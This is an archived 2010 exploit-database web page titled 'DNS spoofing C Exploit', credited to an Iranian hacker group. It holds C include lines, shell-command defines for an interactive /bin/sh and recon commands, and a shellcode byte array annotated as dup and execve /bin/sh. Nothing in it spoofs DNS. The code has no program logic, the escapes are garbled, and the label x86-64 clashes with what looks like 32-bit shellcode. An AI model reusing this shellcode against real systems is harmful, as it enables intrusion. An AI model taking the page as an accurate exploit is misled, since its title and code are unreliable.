Home / exploitsPDF  

linux/x86-64 - DNS spoofing C Exploit

Posted on 21 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86-64 - DNS spoofing C Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===================================== linux/x86-64 - DNS spoofing C Exploit ===================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_&lt;_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ &gt;&gt; Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 0 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1 #######################[In The Name Of God ]########################## #Exploit Title : DNS spoofing C Exploit (linux_shellcode) #Author : PHC.IR #Contact : ?Net.Edit0r@Att.Net #Location : Iran #Code : [exploit code] ######################################################################## #include &lt;unistd.h&gt; #include &lt;sys/stat.h&gt; #include &lt;string.h&gt; #include &lt;sys/socket.h&gt; #include &lt;netinet/in.h&gt; #include &lt;errno.h&gt; #include &lt;stdio.h&gt; #define NOP 0x41 #define EXEC &quot;TERM=xterm; export TERM=xterm;exec /bin/sh -i&quot; #define EXEC2 &quot;id;uname -a;&quot; char linux_shellcode[] = /* dup */ &quot;x31xc9x31xc0x31xdbxb3x04xb0x3fxcdx80 xfexc1xb0&quot; &quot;x3fxcdx80xfexc1xb0x3fxcdx80&quot; /* execve /bin/sh */ &quot;x31xdbx31xc9xf7xe3x53x68x6ex2fx73x68 x68x2fx2f&quot; &quot;x62x69x89xe3x52x53x89xe1xb0x0bxcdx80&quot; ; ######################################################################## #Greetz : admin ~ M.Prince ~ N20 ~ inj3ct0r ~ AGT ~ H4M3D ~ reglight #Note : IRANIAN HackerZ ######################################################################## #www.phc.ir (Phc-Persian Hackerz Community-Security Team) ###########################[Net.Edit0r]################################# # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-21]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP